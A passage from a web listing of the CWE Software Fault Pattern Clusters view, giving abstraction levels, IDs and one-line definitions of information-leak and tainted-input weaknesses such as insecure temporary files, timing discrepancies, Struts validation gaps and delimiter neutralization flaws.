*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.External Control of Critical State Data - (642)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 642 (External Control of Critical State Data)
The product stores security-critical state information about its users, or the product itself, in a location that is accessible to unauthorized actors.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Exposure of Resource to Wrong Sphere - (668)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 668 (Exposure of Resource to Wrong Sphere)
The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Incorrect Resource Transfer Between Spheres - (669)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 669 (Incorrect Resource Transfer Between Spheres)
The product does not properly transfer a resource/behavior to another sphere, or improperly imports a resource/behavior from another sphere, in a manner that provides unintended control over that resource.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.J2EE Misconfiguration: Missing Custom Error Page - (7)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 7 (J2EE Misconfiguration: Missing Custom Error Page)
The default error page of a web application should not display sensitive information about the product.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Missing Custom Error Page - (756)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 756 (Missing Custom Error Page)
The product does not return custom error pages to the user, possibly exposing sensitive information.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Access to Critical Private Variable via Public Method - (767)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 767 (Access to Critical Private Variable via Public Method)
The product defines a public method that reads or modifies a private variable.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.J2EE Misconfiguration: Entity Bean Declared Remote - (8)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 8 (J2EE Misconfiguration: Entity Bean Declared Remote)
When an application exposes a remote interface for an entity bean, it might also expose methods that get or set the bean's data. These methods could be leveraged to read sensitive information, or to change data in ways that violate the application's expectations, potentially leading to other vulnerabilities.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Exposure Temporary File - (964)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 964 (SFP Secondary Cluster: Exposure Temporary File)
This category identifies Software Fault Patterns (SFPs) within the Exposure Temporary File cluster.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Insecure Temporary File - (377)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 964 (SFP Secondary Cluster: Exposure Temporary File) > 377 (Insecure Temporary File)
Creating and using insecure temporary files can leave application and system data vulnerable to attack.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Creation of Temporary File With Insecure Permissions - (378)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 964 (SFP Secondary Cluster: Exposure Temporary File) > 378 (Creation of Temporary File With Insecure Permissions)
Opening temporary files without appropriate measures or controls can leave the file, its contents and any function that it impacts vulnerable to attack.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Creation of Temporary File in Directory with Insecure Permissions - (379)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 964 (SFP Secondary Cluster: Exposure Temporary File) > 379 (Creation of Temporary File in Directory with Insecure Permissions)
The product creates a temporary file in a directory whose permissions allow unintended actors to determine the file's existence or otherwise access that file.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Insecure Session Management - (965)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 965 (SFP Secondary Cluster: Insecure Session Management)
This category identifies Software Fault Patterns (SFPs) within the Insecure Session Management cluster.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Exposure of Data Element to Wrong Session - (488)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 965 (SFP Secondary Cluster: Insecure Session Management) > 488 (Exposure of Data Element to Wrong Session)
The product does not sufficiently enforce boundaries between the states of different sessions, causing data to be provided to, or used by, the wrong session.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Use of Cache Containing Sensitive Information - (524)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 965 (SFP Secondary Cluster: Insecure Session Management) > 524 (Use of Cache Containing Sensitive Information)
The code uses a cache that contains sensitive information, but the cache can be read by an actor outside of the intended control sphere.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.J2EE Misconfiguration: Insufficient Session-ID Length - (6)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 965 (SFP Secondary Cluster: Insecure Session Management) > 6 (J2EE Misconfiguration: Insufficient Session-ID Length)
The J2EE application is configured to use an insufficient session ID length.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Other Exposures - (966)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 966 (SFP Secondary Cluster: Other Exposures)
This category identifies Software Fault Patterns (SFPs) within the Other Exposures cluster.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Insecure Default Variable Initialization - (453)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 966 (SFP Secondary Cluster: Other Exposures) > 453 (Insecure Default Variable Initialization)
The product, by default, initializes an internal variable with an insecure or less secure value than is possible.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Reliance on Package-level Scope - (487)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 966 (SFP Secondary Cluster: Other Exposures) > 487 (Reliance on Package-level Scope)
Java packages are not inherently closed; therefore, relying on them for code security is not a good practice.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Use of Inner Class Containing Sensitive Data - (492)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 966 (SFP Secondary Cluster: Other Exposures) > 492 (Use of Inner Class Containing Sensitive Data)
Inner classes are translated into classes that are accessible at package scope and may expose code that the programmer intended to keep private to attackers.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Use of Web Browser Cache Containing Sensitive Information - (525)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 966 (SFP Secondary Cluster: Other Exposures) > 525 (Use of Web Browser Cache Containing Sensitive Information)
The web application does not use an appropriate caching policy that specifies the extent to which each web page and associated form fields should be cached.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Sensitive Cookie in HTTPS Session Without 'Secure' Attribute - (614)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 966 (SFP Secondary Cluster: Other Exposures) > 614 (Sensitive Cookie in HTTPS Session Without 'Secure' Attribute)
The Secure attribute for sensitive cookies in HTTPS sessions is not set, which could cause the user agent to send those cookies in plaintext over an HTTP session.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Exposure of WSDL File Containing Sensitive Information - (651)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 966 (SFP Secondary Cluster: Other Exposures) > 651 (Exposure of WSDL File Containing Sensitive Information)
The Web services architecture may require exposing a Web Service Definition Language (WSDL) file that contains information on the publicly accessible services and how callers of these services should interact with them (e.g. what parameters they expect and what types they return).
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: State Disclosure - (967)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 967 (SFP Secondary Cluster: State Disclosure)
This category identifies Software Fault Patterns (SFPs) within the State Disclosure cluster.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Exposure of Sensitive Information Through Data Queries - (202)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 967 (SFP Secondary Cluster: State Disclosure) > 202 (Exposure of Sensitive Information Through Data Queries)
When trying to keep information confidential, an attacker can often infer some of the information by using statistics.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Observable Discrepancy - (203)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 967 (SFP Secondary Cluster: State Disclosure) > 203 (Observable Discrepancy)
The product behaves differently or sends different responses under different circumstances in a way that is observable to an unauthorized actor, which exposes security-relevant information about the state of the product, such as whether a particular operation was successful or not.Side Channel Attack
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Observable Response Discrepancy - (204)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 967 (SFP Secondary Cluster: State Disclosure) > 204 (Observable Response Discrepancy)
The product provides different responses to incoming requests in a way that reveals internal state information to an unauthorized actor outside of the intended control sphere.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Observable Behavioral Discrepancy - (205)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 967 (SFP Secondary Cluster: State Disclosure) > 205 (Observable Behavioral Discrepancy)
The product's behaviors indicate important differences that may be observed by unauthorized actors in a way that reveals (1) its internal state or decision process, or (2) differences from other products with equivalent functionality.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Observable Internal Behavioral Discrepancy - (206)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 967 (SFP Secondary Cluster: State Disclosure) > 206 (Observable Internal Behavioral Discrepancy)
The product performs multiple behaviors that are combined to produce a single result, but the individual behaviors are observable separately in a way that allows attackers to reveal internal state or internal decision points.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Observable Behavioral Discrepancy With Equivalent Products - (207)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 967 (SFP Secondary Cluster: State Disclosure) > 207 (Observable Behavioral Discrepancy With Equivalent Products)
The product operates in an environment in which its existence or specific identity should not be known, but it behaves differently than other products with equivalent functionality, in a way that is observable to an attacker.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Observable Timing Discrepancy - (208)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 967 (SFP Secondary Cluster: State Disclosure) > 208 (Observable Timing Discrepancy)
Two separate operations in a product require different amounts of time to complete, in a way that is observable to an actor and reveals security-relevant information about the state of the product, such as whether a particular operation was successful or not.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Primary Cluster: Tainted Input - (896)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input)
This category identifies Software Fault Patterns (SFPs) within the Tainted Input cluster (SFP24, SFP25, SFP26, SFP27).
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Tainted Input to Command - (990)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command)
This category identifies Software Fault Patterns (SFPs) within the Tainted Input to Command cluster (SFP24).
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Struts: Duplicate Validation Forms - (102)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 102 (Struts: Duplicate Validation Forms)
The product uses multiple validation forms with the same name, which might cause the Struts Validator to validate a form that the programmer does not expect.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Struts: Incomplete validate() Method Definition - (103)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 103 (Struts: Incomplete validate() Method Definition)
The product has a validator form that either does not define a validate() method, or defines a validate() method but does not call super.validate().
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Struts: Form Bean Does Not Extend Validation Class - (104)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 104 (Struts: Form Bean Does Not Extend Validation Class)
If a form bean does not extend an ActionForm subclass of the Validator framework, it can expose the application to other weaknesses related to insufficient input validation.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Struts: Form Field Without Validator - (105)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 105 (Struts: Form Field Without Validator)
The product has a form field that is not validated by a corresponding validation form, which can introduce other weaknesses related to insufficient input validation.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Struts: Plug-in Framework not in Use - (106)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 106 (Struts: Plug-in Framework not in Use)
When an application does not use an input validation framework such as the Struts Validator, there is a greater risk of introducing weaknesses related to insufficient input validation.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Struts: Unused Validation Form - (107)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 107 (Struts: Unused Validation Form)
An unused validation form indicates that validation logic is not up-to-date.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Struts: Unvalidated Action Form - (108)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 108 (Struts: Unvalidated Action Form)
Every Action Form must have a corresponding validation form.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Struts: Validator Turned Off - (109)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 109 (Struts: Validator Turned Off)
Automatic filtering via a Struts bean has been turned off, which disables the Struts Validator and custom validation logic. This exposes the application to other weaknesses related to insufficient input validation.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Struts: Validator Without Form Field - (110)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 110 (Struts: Validator Without Form Field)
Validation fields that do not appear in forms they are associated with indicate that the validation logic is out of date.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Missing XML Validation - (112)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 112 (Missing XML Validation)
The product accepts XML from an untrusted source but does not validate the XML against the proper schema.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting') - (113)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 113 (Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting'))
The product receives data from an HTTP agent/component (e.g., web server, proxy, browser, etc.), but it does not neutralize or incorrectly neutralizes CR and LF characters before the data is included in outgoing HTTP headers.HTTP Request SplittingHTTP Response Splitting
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Handling of Length Parameter Inconsistency - (130)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 130 (Improper Handling of Length Parameter Inconsistency)
The product parses a formatted message or structure, but it does not handle or incorrectly handles a length field that is inconsistent with the actual length of the associated data.length manipulationlength tampering
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Use of Externally-Controlled Format String - (134)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 134 (Use of Externally-Controlled Format String)
The product uses a function that accepts a format string as an argument, but the format string originates from an external source.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Improper Neutralization of Special Elements - (138)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 138 (Improper Neutralization of Special Elements)
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as control elements or syntactic markers when they are sent to a downstream component.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Delimiters - (140)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 140 (Improper Neutralization of Delimiters)
The product does not neutralize or incorrectly neutralizes delimiters.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Parameter/Argument Delimiters - (141)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 141 (Improper Neutralization of Parameter/Argument Delimiters)
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as parameter or argument delimiters when they are sent to a downstream component.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Value Delimiters - (142)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 142 (Improper Neutralization of Value Delimiters)
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as value delimiters when they are sent to a downstream component.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Record Delimiters - (143)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 143 (Improper Neutralization of Record Delimiters)
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as record delimiters when they are sent to a downstream component.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Line Delimiters - (144)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 144 (Improper Neutralization of Line Delimiters)
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as line delimiters when they are sent to a downstream component.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Section Delimiters - (145)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 145 (Improper Neutralization of Section Delimiters)
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as section delimiters when they are sent to a downstream component.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Expression/Command Delimiters - (146)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 146 (Improper Neutralization of Expression/Command Delimiters)
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as expression or command delimiters when they are sent to a downstream component.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Input Terminators - (147)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 147 (Improper Neutralization of Input Terminators)
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as input terminators when they are sent to a downstream component.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Input Leaders - (148)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 148 (Improper Neutralization of Input Leaders)
The product does not properly handle when a leading character or sequence ("leader") is missing or malformed, or if multiple leaders are used when only one should be allowed.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Quoting Syntax - (149)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 149 (Improper Neutralization of Quoting Syntax)
Quotes injected into a product can be used to compromise a system. As data are parsed, an injected/absent/duplicate/malformed use of quotes may cause the process to take unexpected actions.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Escape, Meta, or Control Sequences - (150)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 150 (Improper Neutralization of Escape, Meta, or Control Sequences)
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as escape, meta, or control character sequences when they are sent to a downstream component.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Comment Delimiters - (151)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 151 (Improper Neutralization of Comment Delimiters)
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as comment delimiters when they are sent to a downstream component.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Macro Symbols - (152)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 152 (Improper Neutralization of Macro Symbols)
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as macro symbols when they are sent to a downstream component.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Substitution Characters - (153)
